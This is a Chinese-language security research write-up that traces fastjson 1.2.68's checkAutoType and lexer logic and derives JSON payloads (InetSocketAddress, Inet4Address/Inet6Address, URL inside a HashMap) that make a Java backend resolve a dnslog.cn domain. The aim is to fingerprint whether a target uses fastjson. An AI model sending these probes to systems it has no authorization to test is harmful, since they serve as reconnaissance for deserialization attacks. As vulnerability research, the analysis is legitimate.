前言
正常测试的时候,发现java后端对json处理都会去测试一下是否存在反序列化,但是后端处理json的组件很多,比如fastjson
、jackson
、gson
等,怎么判断是否使用了fastjson
呢?
有一个简便无危害的方式,就是通过dnslog来判断。
大佬们讨论的[issue](https://github.com/alibaba/fastjson/issues/3077)
说明
前面我们在分析的时候,会发现很多有一个变量token
在进行判断,比如token == 12 或者 token == 14等,那这个token到底代表啥呢?在com.alibaba.fastjson.parser.JSONToken
中我们可以找到答案
public static String name(int value) {
switch(value) {
case 1:
return "error";
case 2:
return "int";
case 3:
return "float";
case 4:
return "string";
case 5:
return "iso8601";
case 6:
return "true";
case 7:
return "false";
case 8:
return "null";
case 9:
return "new";
case 10:
return "(";
case 11:
return ")";
case 12:
return "{";
case 13:
return "}";
case 14:
return "[";
case 15:
return "]";
case 16:
return ",";
case 17:
return ":";
case 18:
return "ident";
case 19:
return "fieldName";
case 20:
return "EOF";
case 21:
return "Set";
case 22:
return "TreeSet";
case 23:
return "undefined";
case 24:
return ";";
case 25:
return ".";
case 26:
return "hex";
default:
return "Unknown";
}
}
分析
- fastjson 1.2.68
- jdk 8u261
分析一下checkAutoType
这个黑名单检测绕过后,会来到如下几个if语句,写了个简单的注释
// 从ConcurrentHashMap类变量mapping中尝试获取这个类,mappings有点像维护的一个基础类库
clazz = TypeUtils.getClassFromMapping(typeName);
// 如果mapping里面没有这个类,就会尝试从this.deserializers.buckets这个IdentityHashMap类的Map中尝试获取clazz,这个有点像开发者维护的一个可信任类
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
// 如果clazz还是为null,就会尝试从this.typeMapping中去获取类,但这个类默认是空的
if (clazz == null) {
clazz = (Class)this.typeMapping.get(typeName);
}
// 如果在白名单,就直接加载这个clazz
if (internalWhite) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);
}
// 如果clazz不为null,且不满足后续的判定条件,就直接返回clazz
if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
}
也就是说,如果我们能在上面的几个Map中找到一些可利用的类,那么默认情况下(关闭autoType的情况)就可以绕过黑白名单检查,直接返回clazz
进入后续操作
分析一下里面一共有哪些类
mappings
((ConcurrentHashMap) mappings).keySet()
this.buckets
Object[] a = new Object[9000];
for(int i = 0; i < this.buckets.length; ++i) {
IdentityHashMap.Entry bucket = this.buckets[i];
if (bucket != null) {
for(IdentityHashMap.Entry entry = bucket; entry != null; entry = entry.next) {
Object key = bucket.key;
a[i] = key.name;
}
}
}
return a;
this.typeMapping
默认为空
汇总一下所有类:
java.lang.IndexOutOfBoundsException
java.lang.Integer
java.lang.NoSuchFieldException
java.lang.Long
java.math.BigInteger
java.lang.LinkageError
java.lang.StringIndexOutOfBoundsException
java.lang.StackOverflowError
long
java.lang.VerifyError
java.util.LinkedHashMap
java.util.Calendar
java.lang.StackTraceElement
[long
java.lang.NoSuchMethodError
java.util.concurrent.atomic.AtomicLong
java.util.TreeMap
java.util.Date
java.lang.NoSuchFieldError
java.util.concurrent.atomic.AtomicInteger
java.lang.Short
java.util.Locale
java.lang.InstantiationException
java.lang.SecurityException
java.sql.Timestamp
java.util.concurrent.ConcurrentHashMap
java.util.UUID
java.lang.IllegalAccessError
com.alibaba.fastjson.JSONObject
[short
java.util.HashSet
[byte
java.lang.Boolean
java.sql.Date
short
java.lang.Object
java.util.BitSet
[char
java.lang.Float
java.math.BigDecimal
java.lang.Character
java.lang.InternalError
[double
byte
double
java.lang.Exception
java.lang.Double
[B
java.lang.TypeNotPresentException
[C
[D
java.text.SimpleDateFormat
[F
[I
java.util.TreeSet
[J
java.util.ArrayList
java.lang.IllegalMonitorStateException
com.alibaba.fastjson.JSONArray
[S
java.lang.String
java.lang.Number
java.util.LinkedHashSet
[Z
java.lang.NegativeArraySizeException
java.lang.NumberFormatException
java.lang.RuntimeException
char
java.lang.OutOfMemoryError
java.lang.IllegalStateException
java.sql.Time
java.lang.NoSuchMethodException
java.util.Collections$EmptyMap
[boolean
float
java.lang.AutoCloseable
java.lang.NullPointerException
java.lang.Byte
[int
com.alibaba.fastjson.JSONPObject
java.lang.Cloneable
java.lang.IllegalAccessException
java.util.IdentityHashMap
java.util.HashMap
java.lang.NoClassDefFoundError
java.util.Hashtable
java.util.WeakHashMap
java.lang.IllegalThreadStateException
java.lang.IllegalArgumentException
int
java.util.concurrent.TimeUnit
boolean
java.lang.InstantiationError
java.lang.InterruptedException
[float
java.util.regex.Pattern
com.alibaba.fastjson.JSONArray
java.lang.StringBuilder
java.nio.charset.Charset
java.math.BigDecimal
char
java.io.File
java.lang.String
boolean
java.net.InetSocketAddress
java.lang.Character
java.lang.Number
java.util.concurrent.ConcurrentHashMap
javax.xml.datatype.XMLGregorianCalendar
java.net.Inet4Address
java.sql.Date
java.util.Collection
com.alibaba.fastjson.JSONPath
java.util.concurrent.atomic.AtomicIntegerArray
java.util.TreeMap
short
java.util.Currency
java.sql.Time
java.lang.Integer
double
java.lang.Class
java.math.BigInteger
com.alibaba.fastjson.JSONObject
java.util.concurrent.atomic.AtomicBoolean
java.util.concurrent.atomic.AtomicLongArray
java.util.HashMap
java.util.TimeZone
java.lang.Comparable
java.util.ArrayList
java.text.SimpleDateFormat
com.alibaba.fastjson.JSONPObject
java.lang.StringBuffer
byte
java.io.Closeable
java.lang.Double
java.util.concurrent.atomic.AtomicInteger
int
java.lang.Float
java.net.URL
java.util.List
java.lang.Object
java.sql.Timestamp
java.lang.StackTraceElement
java.net.Inet6Address
java.util.concurrent.atomic.AtomicLong
java.net.URI
java.util.UUID
java.lang.Cloneable
java.util.LinkedHashMap
long
java.lang.Short
java.lang.Byte
[C
java.lang.ref.WeakReference
java.lang.ref.SoftReference
java.util.concurrent.ConcurrentMap
java.util.Calendar
java.util.Date
java.util.Locale
java.lang.Long
java.util.Map
java.io.Serializable
java.util.concurrent.atomic.AtomicReference
java.lang.Boolean
float
挖掘
既然已经拿到这些类了,我们大概筛选一下哪些是可以用的(这里筛选的是java.net.xxx
的,因为带net的几乎都和网络相关可以发起请求)
java.net.InetSocketAddress
java.net.Inet4Address
java.net.URL
java.net.Inet6Address
java.net.URI
java.net.InetSocketAddress
初始payload
{"@type":"java.net.InetSocketAddress", "a":"b"}
通过checkAutoType
后,成功按照我们的预期返回
然后跟到371行,执行反序列化操纵,跳过这一步会直接抛出错误异常,所以我们跟进
跟进后,判断类,通过
开始判断token,这个时候我们的token是16,即,
,不等于8,进入else
来到了parser.accept(token)
后,不知道这个函数干啥的,跟进一下,发现原来是判断当前的token是不是传入的token,很明显这里我们是16不是12,所以会抛出异常。
那我们修改一下payload,给他提供一个 {
,也就是token=12
{"@type":"java.net.InetSocketAddress"{, "a":"b"}
这个时候我们就能成功通过accept
这个函数了,继续向下
发现有个变量className
,下方要求他等于address
,且期望它下一位的token是17(:
)
那我们看看className
是怎么得来的,跟进stringVal
发现这就是一个字符串切割函数,this
为我们输入的字符串,因为this.hasSpecial
为falsethis.np
就是当前这个字符串现在的游标位置,而this.sp
则是切割的长度,我们再看下这个this.sp
是怎么变得
前期阶段,是统计2个"
中间的长度的,方便后面切割
后面估计也差不多,发现在进入反序列化过后,paper.accept
的时候,会调用nextToken
,其中会用到this.sp
跟一下发现,这个字符就是我们payload中{
后面的,
,期望一个"
,但是我们传入的是,
,所以this.sp
就等于0了
所以还需要增加一对"
,来增加this.sp
的值,达到切割字符串的目的
{"@type":"java.net.InetSocketAddress"{"aaa", "a":"b"}
更换payload
后,成功通过上方的判断,进入this.scanString()
,这里面this.sp++
会判断我们输入的字符串长度
此时this.sp
问题解决了,我们继续回到lexer.stringVal()
,跟进,可以看到现在切割出来的字符串,就是我们传入的aaa
继续往后,发现className
要等于address
,所以给我们的aaa
改成address
即可,此外期望token
是17,那还需要加一个:
所以修改后的payload
{"@type":"java.net.InetSocketAddress"{"address":"aaa", "a":"b"}
一路顺利,到了parser.parseObject
这里会进行类型转换为InetAddress
又是一路顺利,到了deserializer.deserialze
,只不过这次传入的Type
是InetAddress
又回到了熟悉的地方
然后一顿调,抛出异常了
回看了一下,原来是这个地方要求是16(:
),而我们是4(String
)。。。
那哪个地方的String
出问题了呢?
分析一下当前游标的位置,发现就是"address":
后面应该是个,
,而不是String
所以再改payload
{"@type":"java.net.InetSocketAddress"{"address":, "a":"b"}
又回到刚才的地方,这次过了,但是要求lexer.stringVal()
为val
熟悉的函数,刚才我们分析过了,就是需要一个"xxx"
,从上面也可以看出来"a"
是我们后面的键值对中的键
那我们给a
改成val
{"@type":"java.net.InetSocketAddress"{"address":, "val":"b"}
然后回到刚才的条件,继续向后,都是满足的,我们payload中val
的值赋给了objVal
类型转换,赋值给strVal
返回InetAddress.getByName(strVal)
而InetAddress.getByName
会尝试通过域名获取IP
所以给strVal
的值设置为dnslog
的URL即可
最终Payload
{"@type":"java.net.InetSocketAddress"{"address":, "val":"enst5r.dnslog.cn"}
成功
最后小小的总结一下:就是整个过程中,缺什么给他补什么
java.net.Inet4Address
初始payload
{"@type":"java.net.Inet4Address", "a":"b"}
运行,经过checkAutoType
后反序列化,和上面一样的错,需要val
,而此时的值是a
我们给a
换成val
就行了
{"@type":"java.net.Inet4Address", "val":"b"}
最后解析的时候,一样的方法,InetAddress.getByName(strVal)
最终POC
{"@type":"java.net.Inet4Address", "val":"dnslog"}
java.net.Inet6Address
看了下,和 java.net.Inet4Address 一样,就不再写了
{"@type":"java.net.Inet6Address", "val":"dnslog"}
java.net.URL
这个就不能直接来硬的了,根据我们之前分析过的ysoserial#URLDNS
这条链,如果将一个URL对象放置到HashMap
中,那么在进行计算hashcode
的时候,会触发dnslog请求
所以我们让fastjson给对象反序列化为URL
对象的后,再把它放到HashMap中即可
{{"@type":"java.net.URL", "val":"http://8fhj7r.dnslog.cn"}:"a"}
下断点分析,fastjson给前面还原成了URL
对象,当做了key
然后继续跟,发现使用put将其添加到HashMap中,所以dnslog收到了请求
java.net.URI
- 不能和URL类类似似使用HashMap计算key的hashCode方法去发起请求
- 内部也没有类似的发起请求的方法
总结
还有一些畸形的payload,可以去前言里面看看issue,原理都差不多
只是大佬们对fastjson的解析流程真的理解太透彻了,羡慕了